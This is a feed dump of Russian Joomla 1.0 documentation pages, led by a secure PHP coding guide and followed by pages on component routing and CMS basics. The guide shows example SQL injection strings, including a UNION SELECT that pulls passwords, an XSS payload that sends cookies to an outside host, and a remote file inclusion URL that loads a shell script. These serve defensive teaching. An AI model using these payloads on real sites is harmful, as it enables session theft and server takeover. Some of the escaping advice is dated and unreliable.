		<id>http://www.joomla-docs.ru/%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BB%D1%8F_Joomla</id>
		<title>Безопасное программирование для Joomla</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BB%D1%8F_Joomla"/>
				<updated>2007-11-28T20:13:54Z</updated>
		
		<summary type="html">&lt;p&gt;Sli: Добавлены категории&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Уязвимость SQL-Injection ==&lt;br /&gt;
Данная уязвимость возникает вследствие недостаточной проверки входных данных скриптом при занесении значений в базу данных или выборке из нее. Для СУБД типа Oracle со специальной системой подстановки значений данный тип уязвимости при использовании специальных функций вообще не опасен. А вот для MySQL при недостатке знаний о предотвращении такого рода атак результат может быть печален. &lt;br /&gt;
&lt;br /&gt;
Итак, SQL-Injection это внедрение в SQL-запрос некоторых строк, которых в нем быть не должно. Например, пусть пользователь вводит свое имя, и мы хотим узнать – а есть ли такой пользователь вообще. Логично было бы составить следующий запрос: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$name = $_POST['name'];&lt;br /&gt;
$query = &amp;quot;SELECT count(*) FROM users WHERE name = '$name' &amp;quot;;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Если человек введет в поле, например, строку admin, то все пройдет гладко, мы вычислим, что пользователь такой есть. Но если же нам попадется ушлый пользователь, который немного смыслит в SQL, то он может вставить некие специальные символы, например, кавычки, и он вполне может, не зная реальных имен пользователей, сделать так, что бы запрос выдал что-то, отличное от нуля. Данный пример, конечно же, оторван от действительности, но на таком простом примере можно хорошо уяснить всю опасность, которую содержат в себе такого рода ошибки в приложениях и то, почему их надо избегать и предотвращать. &lt;br /&gt;
&lt;br /&gt;
Пускай пользователь ввел в строку такие символы, что получился следующий запрос:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT count(*) FROM users WHERE name = 'xxx' OR 1=1 /*'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Все что идет после первой кавычки и есть введенная строка. Логическое условие здесь уже составлено так, что даже при отсутствии пользователя xxx оно всегда будет выдавать истину (напоминаю, что символ /* имеет специальное значение в MySQL синтаксисе и означает комментарий, который можно не обрабатывать и пропустить). &lt;br /&gt;
&lt;br /&gt;
Для предотвращения таких уязвимостей надо знать всего лишь два простых правила. Правило первое - все подставляемые в SQL-запрос выражения должны быть в кавычках, например в одинарных:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$query = &amp;quot;INSERT INTO table (name) VALUES ('$name')&amp;quot;;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Правило второе – применение функцию '''addslashes''' для экранирования специальных символов в переменных, подставляемых в SQL-запросы. Вот тут существует один тонкий момент, связанный с такой настройкой языка PHP как '''magic_quotes_gpc'''. Данная конфигурационная переменная, будучи включена, включает автоматическое добавление слэшей (по сути, вызов функции addslashes) для всех входных переменных. Это иногда удобно, а иногда нет. Кроме того, необходимо учесть тот факт, что на некоторых серверах данная настройка включена, а на некоторых нет, а потому надеяться на нее нельзя и надо всегда самостоятельно добавлять слэши к специальным символам. &lt;br /&gt;
&lt;br /&gt;
Общий алгоритм добавления слэшей такой – если данная настройка включена, то слэши не добавлять, а если выключена, то добавлять. К счастью, данную работу за нас делает Joomla и специальная функция '''mosGetParam'''. При ее использовании нам не надо заботиться о том – есть ли слэши или нет, безопасно ли вставлять данные в базу данных или нет. Если мы получаем переменные при ее помощи, то слэши там всегда будут - данные будут безопасны.&lt;br /&gt;
&lt;br /&gt;
Но, необходимо заметить, что правило номер один было озвучено не зря, потому что само по себе экранирование специальных символов еще не предотвращает данный вид атак. Рассмотрим следующий пример:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$name = mosGetParam($_REQUEST,'name','');&lt;br /&gt;
$query = &amp;quot;SELECT id  FROM #__users WHERE name = $name&amp;quot;;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Если в переменную $name мы занесем следующую, с точки зрения специальных символов совершенно безопасную строку:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$name = &amp;quot;admin UNION SELECT password FROM #__users WHERE  1 = 1&amp;quot;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
То будет выполнен UNION-запрос, в котором помимо идентификатора пользователя будет получен его пароль. Здесь переменная $name в запросе никак не ограничена средствами языка SQL, поэтому такое и стало возможным. Именно поэтому и надо заключать подставляемое значение в кавычки, тогда выражение внутри переменной не будет восприниматься как часть запроса. &lt;br /&gt;
&lt;br /&gt;
Безопасное использование функции mosGetParam и двух правил приведено ниже:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$name = mosGetParam($_REQUEST,'name','');&lt;br /&gt;
$value = mosGetParam($_REQUEST,'value','');&lt;br /&gt;
&lt;br /&gt;
if ($name &amp;amp;&amp;amp; $value) {&lt;br /&gt;
&lt;br /&gt;
    $database-&amp;gt;setQuery(&amp;quot;INSERT INTO #__table (name,value) VALUES ('$name' , '$value') &amp;quot;);&lt;br /&gt;
    $database-&amp;gt;query();&lt;br /&gt;
}&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Так же очевидно, что первым параметром функции '''mosGetParam''' является массив, откуда берутся данные, вторым – ключ элемента массива, а третьим – значение по умолчанию, если данный ключ не будет найден. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== XSS - уязвимость ==&lt;br /&gt;
XSS – довольно новый вид атак на веб-приложения, расшифровывающийся как X-Site Scripting, а по-русски &amp;quot;межсайтовый скриптинг&amp;quot;. Данная уязвимость исходит опять же из плохой проверки входных, чаще всего пользовательских, данных. В данном случае опасны не кавычки и модификация SQL-запросов, а исполнение javascript-кода от имени другого пользователя, который чаще всего и не догадывается о его существовании. &lt;br /&gt;
&lt;br /&gt;
Рассмотрим следующий пример: предположим, есть некий скрипт, принимающий на вход переменную '''msg''' и отображающий ее пользователю. Это может быть полезно для чисто информационных действий, когда пользователя необходимо о чем-то уведомить и его переправляют на этот скрипт, который красиво отображает заданное в качестве параметра сообщение, примерно так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;show_message.php?msg=Информация успешно сохранена&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
А сам скрипт выглядит примерно так (все упрощено для понимания сути действий):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;echo $_REQUEST['msg'];&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Вы можете спросить, а чем же опасна данная, вполне безобидная, конструкция. А я вам отвечу. Представим ситуацию, что это не просто отдельный скрипт, а скрипт в некой системе, предположим это компонент в Joomla. А раз мы работаем в системе, то появляются пользователи, имеющие разные уровни доступа. Например, администраторы или гости сайта. &lt;br /&gt;
&lt;br /&gt;
Во-вторых, необходимо вспомнить, что вся аутентификация пользователей в web-приложениях, а в частности и в Joomla, на данный момент строится на основе cookies – специальных маленьких файлов, предназначенных для хранения неких ключей, идентифицирующих пользователя. Хранятся они на пользовательских компьютерах, и в нормальной ситуации один пользователь ни за что не сможет прочитать cookies другого пользователя и получить его права, записав себе эти самые ключи доступа. &lt;br /&gt;
&lt;br /&gt;
Но, как только появляется XSS-уязвимость, появляется и возможность одному пользователю “стать” другим, действовать от его имени. Чаще всего XSS-атаки развиваются по двум сценариям:&lt;br /&gt;
* Кража cookies, что бы представиться данным пользователем и от его имени совершить привилегированные действия (например, удаление важной информации)&lt;br /&gt;
* Написание javascript-кода, который сам в браузере жертвы переходит по нужным адресам, отправляет данные и совершает действия вместо данного пользователя.&lt;br /&gt;
&lt;br /&gt;
Самым важным ключевым моментом данного рода атак является то – можно ли заманить, в данном случае, администратора на ссылку, содержащую вредоносный для него код. Например, в приведенном выше примере, можно взять и показать всем посетителям сайта следующий скрытый фрейм, и вполне возможно, что среди этих посетителей окажется и администратор (способы могут быть самыми разными – от публикации комментария, до простой стать на другом сайте, на которую гарантированно зайдут данные пользователи).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;iframe src='сайт.ру/how_message.php?msg=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;' width=1 height=1&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Дело в том, что все что мы передали на вход переменной msg без изменений будет выведено скриптом пользователю, и в теле страницы появится код, который покажет окошко с cookies пользователя – жертвы. Но это самый безобидный вариант, показывающий лишь возможность проведения такого типа атак. Если чуть-чуть улучшить его, то можно вполне передать на вход скрипту следующий код:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;&lt;br /&gt;
document.write(“&amp;lt;iframe src='другой_сайт.ру/save_cookie.php?cookie=&amp;quot; + document.cookie + &amp;quot;' &amp;gt;&amp;lt;/iframe&amp;gt;”);&lt;br /&gt;
&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Здесь уже все гораздо опаснее. Вредоносный код создает еще один маленький фрейм, источником которого является, скорее всего, его же скрипт, на другом сервере, предназначенный лишь для того, что бы сохранять cookies всех пользователей, посетивших данную страницу. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Уязвимость Remote File Inclusion ==&lt;br /&gt;
Данная глава появилась здесь, дабы предостеречь начинающих разработчиков от ошибок, которые допускали их коллеги в прошлом. Использование данной уязвимости возможно лишь при включенных параметрах '''register_globals''' и '''allow_url_fopen''' и представляет собой фактическую подмену какой-либо системной переменной Joomla, которой уязвимый код должен доверять. Плохой код, подверженный такой уязвимости это чаще всего один из файлов компонента который содержит в себе, например, часто используемые действия по подключению файлов конфигурации или чтению каких-либо важных для компонента параметров. Пусть этот файл (&amp;quot;preload.php&amp;quot;) выглядит так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?PHP&lt;br /&gt;
&lt;br /&gt;
include($mosConfig_absolute_path.’/components/com_photo/settings.php’);&lt;br /&gt;
include($mosConfig_absolute_path.’/components/com_photo/data.php’);&lt;br /&gt;
&lt;br /&gt;
class …&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И в главном файле компонента мы, дабы облегчить его просмотр, либо просто разгрузить его визуально, выделили такие рутинные операции в один файл, и подключаем его:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?PHP&lt;br /&gt;
&lt;br /&gt;
…&lt;br /&gt;
&lt;br /&gt;
include(“preload.php”);&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Вроде бы, использование такого подхода не может принести нам неприятностей. Но не все так просто на первый взгляд. Неприятности возможны, если злоумышленник знает структуру файлов компонента и на хостинге включены параметры register_globals и allow_url_fopen. Тогда он может вызвать на исполнение не компонент, а один из его файлов – в частности наш файл помощник. Например так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://сайт.ру/components/com_photo/preload.php?mosConfig_absolute_path=http://сайт.с.вредоносным.кодом/shell-скрипт.txt&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Интерпретатор языка PHP, который будет исполнять код файла '''preload.php''' увидит, что требуется включить в текущий файл некий файл, путь которого начинается с адреса злоумышленника и, по сути, содержит в себе shell (почти командную оболочку) для исполнения различных, нужных взломщику команд, но уже на сервере жертвы. И исполнит его. &lt;br /&gt;
&lt;br /&gt;
Выход из данной ситуации один – использовать специальную константу '''_VALID_MOS'''. Дело в том, что Joomla при старте инициализирует специальную константу. И если файл был запущен в контексте Joomla (а не отдельно, как в рассматриваемом и потенциально опасном случае), то, проверив существование такой константы (ибо злоумышленник при всем желании не сможет ее создать, максимум что он может – подменить переменные) можно узнать – включается ли данный файл во время работы Joomla и стоит ли исполнять код, расположенный в нем.&lt;br /&gt;
&lt;br /&gt;
Пример использования приведен ниже:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?&lt;br /&gt;
&lt;br /&gt;
defined('_VALID_MOS') or die(&amp;quot;PREVED MEDVED&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
…&lt;br /&gt;
//код, который может быть исполнен только во время работы Joomla&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Общие вопросы безопасного программирования на PHP ==&lt;br /&gt;
&lt;br /&gt;
Ниже я попытаюсь пояснить общие моменты, которые должен знать любой человек, программирующий на языке PHP. Непосредственно Joomla они не касаются, но о них стоит помнить в любом случае.&lt;br /&gt;
&lt;br /&gt;
* Параметр '''register_globals''' – существует множество литературы, где черным по-белому некоторые авторы пишут, что данный параметр влияет на безопасность кода. Нет. На безопасность кода влияют исключительно программисты, которые не знают о том, как нужно писать скрипты. Данный параметр всего лишь включает регистрацию супер-глобальных переменных в качестве полноценных переменных языка PHP. Да он устарел, но большое количество кода, который нельзя игнорировать могут работать только при его включении в конфигурации.&lt;br /&gt;
* Параметр '''error_reporting''' – пишите свои компоненты только при его значении '''E_ALL'''. Вы должны видеть все предупреждения. Они на самом деле облегчают процесс создания компонентов и могут предостеречь от кода, который может быть уязвим. Естественно, на рабочем сайте ошибки показывать не нужно, но вот выпускать компоненты, которые при своей работе показывают кучу предупреждений нельзя.&lt;br /&gt;
* Использование скрытых полей – очень распространенный прием передачи каких-либо данных. Единственный совет который я могу дать в данном случае – не доверяйте этим данным, их легко можно подделать.&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.0]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9F%D0%B5%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%BD%D1%8B%D0%B5_option_%D0%B8_task_%D0%B2_Joomla_1.0.x</id>
		<title>Переменные option и task в Joomla 1.0.x</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9F%D0%B5%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%BD%D1%8B%D0%B5_option_%D0%B8_task_%D0%B2_Joomla_1.0.x"/>
				<updated>2007-11-28T19:50:15Z</updated>
		
		<summary type="html">&lt;p&gt;Sli: Добавлены категории&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== $option ===&lt;br /&gt;
&lt;br /&gt;
Переменная $option определяет текущий исполняемый компонент. Так же если вы захотите вызывать какой-либо другой компонент, то в ссылке стоит указывать его именно при помощи этой переменной. Например, если вы хотите дать ссылку на статью, то она будет выглядеть примерно так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;index.php?option=com_content&amp;amp;task=view&amp;amp;id=15&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Здесь мы создали ссылку на статью с идентификатором 15. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== $task ===&lt;br /&gt;
&lt;br /&gt;
Вы заметили, что функция компонента определяется при помощи переменной $task. Это исторически сложившаяся ситуация. Во времена Mambo такой переменной служила переменная $act. По сути никто вас не заставляет использовать именно $task. Ведь то, как написан компонент, Joomla никого не интересует, главное что бы работал. Joomla всего лишь вызывает его, а каким образом вы будете вызывать те или иные функции зависит исключительно от вашей фантазии. Классический способ выглядит примерно так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;switch($task) {&lt;br /&gt;
&lt;br /&gt;
     case 'view':&lt;br /&gt;
          viewFunction();&lt;br /&gt;
          break;&lt;br /&gt;
&lt;br /&gt;
     case 'edit'’:&lt;br /&gt;
          editFunction();&lt;br /&gt;
          break;&lt;br /&gt;
&lt;br /&gt;
     default:&lt;br /&gt;
          defaultFunction();&lt;br /&gt;
          break;&lt;br /&gt;
&lt;br /&gt;
}&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В чем-то данный подход, несомненно, удобен, но еще раз повторюсь – способ вызова подпрограмм вашего компонента будет зависеть только от того, как вы того захотите. Имеет право существовать и следующий объектно-ориентированный способ:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;php&amp;gt;$my_component = new MyComponent();&lt;br /&gt;
if (method_exists($my_component,$task)) $my_component-&amp;gt;$task;&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Здесь ваш компонент представлен некоторым объектом, а выполняемая функция это один из его методов, выполняемых по определенному параметру в URL.&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.0]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Index.php_Index2.php_%D0%B8_Index3.php_%D0%B2_Joomla_1.0.x</id>
		<title>Index.php Index2.php и Index3.php в Joomla 1.0.x</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Index.php_Index2.php_%D0%B8_Index3.php_%D0%B2_Joomla_1.0.x"/>
				<updated>2007-11-28T19:43:50Z</updated>
		
		<summary type="html">&lt;p&gt;Dead Krolik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Общая информация ===&lt;br /&gt;
Файлы index.php, index2.php и index3.php это входные точки исполнения любого запроса пользователя. Хотя никто и не мешает вам позволить пользователю запрашивать непосредственно отдельные файлы ваших приложений, если это необходимо. Но стандартным способом вызова компонентов является именно вызов через строку браузера посредством конструкции:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;index.php?option=com_component&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Переменная option появилась еще в Mambo и дошла без изменений до наших дней. Она являет собой имя компонента (а еще точнее имя директории с компонентом) установленного в Joomla.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Фронт часть ===&lt;br /&gt;
Мы знаем, что Joomla делится на две части: фронт и админ-часть. Так вот если мы взглянем на файловую структуру дистрибутива, то в корне Joomla найдем два файла index.php и index2.php. Поначалу может показаться странным наличие двух файлов с почти схожими именами. Но данные файлы выполняют почти схожие задачи, с одним лишь отличием. Основная цель любого из этих файлов – вызвать на исполнение компонент, заданный в качестве параметра. Но первый помимо этого Index.php еще и исполняет какой-либо шаблон, т.е. подгружает все модули, которые назначены для данной страницы и выводит страницу пользователю. Index2.php ничего не знает о модулях и совершает исключительно вызов компонента. &lt;br /&gt;
&lt;br /&gt;
Зачем же нужен просто вызов компонента, спросите вы. На самом деле это очень распространенная задача. Например, вам нужно показать некую картинку (ту же защиту от ботов) пользователю, вводящему некие данные в форму. &lt;br /&gt;
&lt;br /&gt;
И если саму форму можно и нужно выводить обычным способом через index.php, то вот указав в качестве исходного пути у картинки примерно такой путь:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://сайт.ру/index2.php?option=com_component&amp;amp;task=generate_image&amp;amp;no_html=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Вы попадете в ваш же компонент, но благодаря параметру no_html кроме непосредственно вывода картинки (а так же заголовков о типе данных) ничего не будет выведено - пользователь ее точно увидит, но если бы мы не использовали возможности файла index2.php, то вместе с бинарными данными изображения был бы выведен еще и шаблон, и человек ничего бы кроме абракадарбры не увидел. Так же данный способ общения со своим компонентом может быть удобен при создании AJAX приложений, когда требуется отправить запрос, ответ на который содержит только некие XML-данные и больше ничего (вообще ничего).&lt;br /&gt;
&lt;br /&gt;
Причем оба файла проверяют то, вошел ли пользователь и в обоих файлах вам доступна переменная $my, определяющая свойства текущего пользователя. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Админ-часть ===&lt;br /&gt;
В админ-части появляется третий файл index3.php а два первых немного меняют свои функции. Первый предназначен исключительно для входа пользователя и нас более не интересует. А вот функции index.php во фронте переходят в файл /administrator/index2.php, а файла index2.php в /administrator/index3.php. Все функции и варианты использования абсолютно те же самые.&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_CMS</id>
		<title>Что такое CMS</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_CMS"/>
				<updated>2007-11-28T19:36:29Z</updated>
		
		<summary type="html">&lt;p&gt;Dead Krolik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= CMS – система управления содержимым =&lt;br /&gt;
== Что такое CMS и почему они появились ==&lt;br /&gt;
&lt;br /&gt;
Так сложилось, что на ранних этапах развития Интернета, разработка сайта сводилась к созданию файловой структуры из html-страничек и размещению в них помимо непосредственно данных различных дополнительных элементов, таких как навигации или ссылок, присущих без исключения всем страницам, но которые необходимо было вносить в каждую из них вручную. Тогда, это не было столь трудоемким занятием, что бы люди задумывались о его автоматизации, потому что сайты по большей части представляли собой маленькие уголки авторов, которые они делали для себя и для своих коллег. И пользователей Интернета было значительно меньше.&lt;br /&gt;
&lt;br /&gt;
Но вскоре объемы информации начали экспоненциально расти, увеличилось число посетителей сайтов, увеличились трудозатраты на поддержание сайта в актуальном состоянии. Создатель сайта был вынужден большую часть времени тратить не на непосредственное размещение статьи или публикации, а на внесение некой сопутствующей информации, вроде ссылок на эту статьи, создания меню навигации и вещей, постоянно присутствующих в определенных позициях на сайте (например, сведений об авторе). &lt;br /&gt;
&lt;br /&gt;
Выходом из данной ситуации стало создание некого класса программ, которые бы выполняли некие рутинные операции, не связанные с непосредственным созданием статей. Называться они могут по-разному, но т.к. Интернет взял свое начало не на нашей Родине, то и аббревиатуры у них английские. Такие системы называют CMS “Content Management System”. На русский язык данная аббревиатура переводится как “Система управления сайтом”, но для простоты их называют движком сайта.&lt;br /&gt;
&lt;br /&gt;
В среде программистов давно стало традицией то, что для каждой новой области, в которой внедряются программы, создается новый язык программирования, наиболее удобный для этой области и учитывающий все ее особенности. Для Интернета на данный момент таким языком, де-факто, является язык PHP. Его поддерживают практически все современные хостинговые компании, для него разработаны интеграции с множеством баз данных, он бесплатен, имеет открытые исходные коды и количество программ (иначе их называют скриптами) для него достаточно велико. &lt;br /&gt;
&lt;br /&gt;
В принципе и сейчас существуют полностью статические сайты. И они вполне оправдывает себя, потому что содержат максимум десяток страниц, причем заранее известно, что страницы не будут изменяться и сайт выполняет лишь функцию заявления о том, что такая-то вот фирма существует, успешно развивается и зарабатывает деньги. Переводить сайт на движок не целесообразно. &lt;br /&gt;
&lt;br /&gt;
И все-таки, какие же преимущества нам дает использование CMS:&lt;br /&gt;
* Абстрагирование от оформления, человек работает только над содержимым сайта&lt;br /&gt;
* Автоматизация задач по управлению сайтом&lt;br /&gt;
* Возможность создания различных по правам доступа частей сайта&lt;br /&gt;
* Данные хранятся не в виде файлов, а в реляционных СУБД, что значительно проще и удобнее&lt;br /&gt;
&lt;br /&gt;
Используя движок, вы ускоряете процесс создания сайта, по сути, вы находитесь в роли конструктора, который из готовых блоков формирует новый дом. Но, надо понимать, что хоть блоки и готовые, но они обеспечивают лишь базовый функционал, который не всегда подходит для вас, а потому нуждается в некоторой доводке и настройке. И все-таки это намного удобнее, чем каждый раз создавать одни и те же вещи с нуля, если до вас это уже было сделано другими людьми. И было сделано не плохо. &lt;br /&gt;
&lt;br /&gt;
Я хочу сразу же вас огорчить, если вы вдруг подумали, что CMS это волшебница, которая все сделает за вас. Нет. Она ничего за вас не сделает. Она лишь поможет и упростит разработку сайта, но отнюдь не выполнит все за вас. Конечно же, производители разных CMS в преимуществах своих систем утверждают, что сайты может делать обычная секретарша, умеющая вводить данные в редакторе. Это не правда. Создавая сайт, вам рано или поздно придется столкнуться и изучить хотя бы основы web-технологий (а порой и не только основы). Это суровая реальность. Если вы хотите создать современный, мощный и уникальный ресурс, то вы никогда не обойдетесь стандартными функциями какой бы то ни было CMS.&lt;br /&gt;
&lt;br /&gt;
Конечно же, вы можете доверить работу по созданию сайта профессионалам, т.е. людям, которые уже довольно давно занимаются данной тематикой, знают все тонкости и подводные камни. Но это достаточно дорого, и ведь не для того же вы купили данную книгу, что бы передать функции создания сайта какому-то другому человеку. Попробуем сделать это вместе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Типы CMS ==&lt;br /&gt;
&lt;br /&gt;
Конечно, за все время существования Интернета было написано множество различных по функционалу и назначению систем. Попытаемся в этом разделе произвести их классификацию по некоторым признакам. Это поможет нам охватить все возможные задачи, которые когда-либо ставили люди, создавая собственный сайт и сформировать начальные требования к нашему сайту.&lt;br /&gt;
&lt;br /&gt;
=== По стоимости системы ===&lt;br /&gt;
&lt;br /&gt;
Не секрет, что, создав хорошую программу, ее авторы пытаются получить прибыль с продаж. Это нормальная ситуация, когда человек платит не только за программу, но и за ее поддержку и гарантии работоспособности. Но на данный момент в мире есть много добровольцев, которые создают программы и распространяют их просто так. Чаще всего по одной из свободных лицензий – GPL или BSD. Вы всего лишь должны принять лицензию, гласящую что авторы отказываются от каких-либо обязательств на программный продукт. Это не хорошо и не плохо. Множество платных продуктов так же распространяются с данной оговоркой. &lt;br /&gt;
&lt;br /&gt;
Необходимо отметить, что платное не всегда лучше бесплатного. У каждой из систем есть свои плюсы и свои минусы. Каждая предназначена под свою задачу или, наоборот, универсальна. Но, на функционал системы и, по сути, на ее достоинства единственное и определяющее влияние оказывает ее сообщество, т.е. востребованность дополнительных расширений и то - готовы ли и считают ли нужным и возможным сторонние программисты разрабатывать свои расширения. Бесплатно или за деньги. &lt;br /&gt;
&lt;br /&gt;
Здесь, в пользу Joomla говорит тот факт, что она бесплатна для конечного пользователя и имеет огромное сообщество. Если говорить о не Российской части Интернет, то это десятки тысяч единомышленников, устанавливающих свои сайты на данной CMS и пропагандирующие ее. Цифры таковы, что Joomla сообщество можно смело назвать самым большим в мире. &lt;br /&gt;
&lt;br /&gt;
=== По интерфейсу управления ===&lt;br /&gt;
&lt;br /&gt;
Сайтом можно управлять как при помощи некого приложения уровня операционной системы, так и при помощи браузера (программы просмотра web-страниц). Первое решение называется offline-CMS и тоже находит свое применение. Т.е. пользователь на своем компьютере запускает программу, в которой формирует страницы или вводит статьи, а программа сама соединяется с компьютером, на котором хранится сайт (сервером хостинговой компании) и обновляет на нем информацию, например по протоколу FTP. Данные хранятся в текстовых файлах, и фактически сайт на сервере является статичным, хотя и управляется при помощи программы. Вся работа по ведению структуры сайта и переносу данных ложится на данное приложение. &lt;br /&gt;
&lt;br /&gt;
Но, более современным и удобным является подход, когда сайт управляется при помощи программы (скрипта) расположенной на сервере. В данном случае сайт становится еще более гибким. Вы можете, используя язык программирования на котором написана данная CMS, изменять ее логику работы, например, выводить некоторые данные только по определенному условию. Таким условием может быть страна, из которой пришел посетитель. Или его принадлежность к какой-либо группе пользователей на сайте, которым даны некие дополнительные возможности по сравнению с гостями (например, возможность читать закрытые статьи или обсуждения). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Типы сайтов =&lt;br /&gt;
&lt;br /&gt;
Из логического деления типов систем управления сайтами вытекает такое же стройное деление самих сайтов по тому функционалу, который они реализуют посредством функций какой-либо CMS. Мы рассмотрим такое деление и то, как же можно применять CMS Joomla в каждом из этих случаев.&lt;br /&gt;
&lt;br /&gt;
== Сайт-визитка ==&lt;br /&gt;
&lt;br /&gt;
Данный тип сайтов предназначен для предоставления некой статичной информации о фирме или услуге. Чаще всего ресурс такого рода можно построить и без CMS, но если ее использовать, то это дает все те преимущества по легкости наполнения сайта, о которых говорилось ранее, в главе про общую характеристику систем управления сайтом. &lt;br /&gt;
&lt;br /&gt;
Каждая фирма сейчас хочет иметь представительство в Интернет. Такой спрос существует и растет с каждым днем. Поэтому студии и свободные разработчики охотно берутся за такие заказы. Количество фирм с каждым днем растет, поэтому этот рынок можно считать в перспективе самым большим. &lt;br /&gt;
&lt;br /&gt;
Чаще всего Joomla в такого рода проектах играет лишь роль мощной платформы, которую &amp;quot;почти не используют&amp;quot;. Таким клиентам скорее нужна визуальная красота, нежели сервисы на сайте. И основным продуктом является именно дизайн и визуальное оформление сайта. Но, если вдруг клиенту нужно внедрить какую-либо распространенную функцию, такую как гостевая книга или рассылка почты клиентам все это можно реализовать буквально за пару часов, потратив время лишь на доводку таких компонентов под требования заказчика. &lt;br /&gt;
&lt;br /&gt;
== Информационный сайт ==&lt;br /&gt;
&lt;br /&gt;
Главное назначение данного типа сайтов предоставлять пользователю как можно более широкий диапазон информации и вариантов доступа к ней. Причем информация обновляется очень часто и число посетителей сайта существенно больше чем у сайта-визитки. &lt;br /&gt;
&lt;br /&gt;
